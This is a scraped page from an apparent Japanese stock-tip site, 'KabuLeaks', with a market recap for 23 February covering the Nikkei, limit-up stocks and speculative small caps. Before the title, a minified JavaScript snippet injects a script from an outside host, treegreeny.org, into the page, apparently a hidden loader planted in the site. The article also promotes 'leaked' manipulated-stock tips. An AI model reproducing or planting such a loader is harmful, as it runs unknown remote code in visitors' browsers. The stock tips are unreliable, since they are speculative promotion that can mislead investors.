;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/23 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【2/23 大引け】

本日の日経平均株価は8円安と小幅続落。後場は日銀によるETF買い期待に下げ幅を縮小。相変わらず手掛かり材料難に方向感に欠ける展開となった。

個別では、新作位置ゲー「レキシトコネクト」の事前登録を開始した【3912】モバイルファクトリーが後場急伸のストップ高となったほか、17年12月期業績見通し好感の【2721ジェイホールディングスは本日で3日連続のストップ高に。また、大和証券がレーティング2段階引き上げ、目標株価2,680円→4,600円へ引き上げた【4751】サイバーエージェント。クラウド型健診・検診予約サービスを発表した【9417】スマートバリューなどが大幅高となった。

その他、仕手性強い小型株【3121マーチャント・バンカーズが堅調に推移したほか、直近IPOの【3267】フィルカンパニーやウルフ村田氏のツイッターでの煽りの影響もあると思われる【2458】夢テクノロジーなどが年初来高値更新となった。

全体相場のこう着感の強い相場はおそらく28日のトランプ米大統領、経済政策に関する議会演説まで続くと思われる。それまでは引き続き材料株、中小型株の基本強い動きをしている銘柄に付いていくスタンスを継続。直近急ピッチな上昇を見せた銘柄は週末要因からの利益確定売りにも注意しておきたい。